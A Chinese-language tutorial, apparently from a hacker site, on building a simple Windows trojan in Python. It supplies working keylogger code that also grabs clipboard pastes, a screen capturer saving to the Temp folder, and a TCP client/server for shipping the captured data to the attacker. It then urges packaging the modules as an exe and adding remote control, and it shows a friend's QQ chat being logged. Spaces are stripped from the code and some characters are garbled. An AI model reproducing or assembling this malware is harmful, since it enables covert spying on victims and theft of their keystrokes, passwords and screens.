这次我们运用Python编写一个具有键盘记载、截屏以及通讯功用的简易木马,仍然选用Sublimetext2+JEDI(python自动补全插件)来写代码。首先准备好我们需求的依赖库,pythonhook和pythoncom。
假如觉得费事,你能够直接运用集成了一切我们所需求的python库的商业版Activepython。记载你所敲打的一切:编写一个keylogger说起Keylogger,大家的思想可能早已飞向带有wifi功用的mini小硬件去了。抛开高科技,我们暂且回归实质,探探简易键盘记载器的原理与完成。Pythonkeylogger键盘记载的功用的完成主要应用了pythoncom及pythonhook,然后就是对windowsAPI的各种调用。Python之所以用起来便当快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。关键代码如下所示:
#-*-coding:utf-8-*-
fromctypesimport*
importpythoncom
importpyHook
importwin32clipboard
user32=windll.user32
kernel32=windll.kernel32
psapi=windll.psapi
current_window=None
#
defget_current_process():
#获取最上层的窗口句柄
hwnd=user32.GetForegroundWindow()
#获取进程ID
pid=c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_id="%d"%pid.value
#申请内存
executable=create_string_buffer("\x00"*512)h_process=kernel32.OpenProcess(0x400|0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title=create_string_buffer("\x00"*512)
length=user32.GetWindowTextA(hwnd,byref(windows_title),512)
#打印
print"[PID:%s-%s-%s]"%(process_id,executable.value,windows_title.value)
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#定义击键监听事情函数
defKeyStroke(event):
globalcurrent_window
#检测目的窗口能否转移(换了其他窗口就监听新的窗口)
ifevent.WindowName!=current_window:
current_window=event.WindowName
#函数调用
get_current_process()
#检测击键能否常规按键(非组合键等)
ifevent.Ascii>32andevent.Ascii<127:
printchr(event.Ascii),
else:
#假如发现Ctrl+v(粘贴)事情,就把粘贴板内容记载下来
ifevent.Key=="V":
win32clipboard.OpenClipboard()
pasted_value=win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print"[PASTE]-%s"%(pasted_value),
else:
print"[%s]"%event.Key,
#循环监听下一个击键事情
returnTrue
#创立并注册hook管理器
kl=pyHook.HookManager()
kl.KeyDown=KeyStroke
#注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
【学问点】钩子(Hook):Windows音讯处置机制的一个平台,应用程序能够在上面设置子程以监视指定窗口的某种音讯,而且所监视的窗口能够是其他进程所创立的。编写代码时一定要留意严厉辨别大小写,检查无误后启动keylogger,然后能够尝试翻开记事本写点东西,过程中能够看到我们的keylogger窗口正在对我们的输入实时记载,如图1所示。
图1
切换窗口时会自动跟踪到新窗口,light教授趁机骚扰一下疯狗,能够看到我们的keylogger曾经跟踪到QQ聊天窗口,并忠实的记载下输入的一切,如图2所示。
图2
看看你在干什么:编写一个screenshotter截屏完成起来更简单,直接调用几个GUI相关的API即可,我们直接看代码。
#-*-coding:utf-8-*-
importwin32gui
importwin32ui
importwin32con
importwin32api
#获取桌面
hdesktop=win32gui.GetDesktopWindow()
#分辨率顺应
width=win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height=win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left=win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top=win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
#创立设备描绘表
desktop_dc=win32gui.GetWindowDC(hdesktop)
img_dc=win32ui.CreateDCFromHandle(desktop_dc)
#创立一个内存设备描绘表
mem_dc=img_dc.CreateCompatibleDC()
#创立位图对象
screenshot=win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc,width,height)
mem_dc.SelectObject(screenshot)
#截图至内存设备描绘表
mem_dc.BitBlt((0,0),(width,height),img_dc,(left,top),win32con.SRCCOPY)
#将截图保管到文件中
screenshot.SaveBitmapFile(mem_dc,'c:\\WINDOWS\\Temp\\screenshot.bmp')
#内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
运转之后看看效果如何,如图3所示。
图3
综合运用:完成一个简易木马
无论是keylogger记载下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需求构建一个简单server和client端来停止通讯,传输记载下的内容到我们的效劳器上。
1)编写一个简单的TCPclient
#-*-coding:utf-8-*-
importsocket
#目的地址IP/URL及端口
target_host="127.0.0.1"
target_port=9999
#创立一个socket对象
client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#衔接主机
client.connect((target_host,target_port))
#发送数据
client.send("GET/HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")
#接纳响应
response=client.recv(4096)
printresponse
2)编写一个简单的TCPserver
#-*-coding:utf-8-*-
importsocket
importthreading
#监听的IP及端口
bind_ip="127.0.0.1"
bind_port=9999
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print"[*]Listeningon%s:%d"%(bind_ip,bind_port)
defhandle_client(client_socket):
request=client_socket.recv(1024)
print"[*]Received:%s"%request
client_socket.send("ok!")
client_socket.close()
whileTrue:
client,addr=server.accept()
print"[*]Acceptconnectionfrom:%s:%d"%(addr[0],addr[1])
client_handler=threading.Thread(target=handle_client,args=(client,))
client_handler.start()
开启效劳端监听,如图4所示。
执行客户端,如图5所示。
效劳端接纳到客户端的恳求并做出了响应,如图6所示。
图6更多关注www.hackerschina.org
最后需求做的就是把上面三个模块分离起来,一个简易的具有键盘记载、屏幕截图并能够发送内容到我们效劳端的木马就完成了。能够运用py2exe把脚本生成exe可执行文件。当然,你还能够继续发挥,加上远程控制功用。
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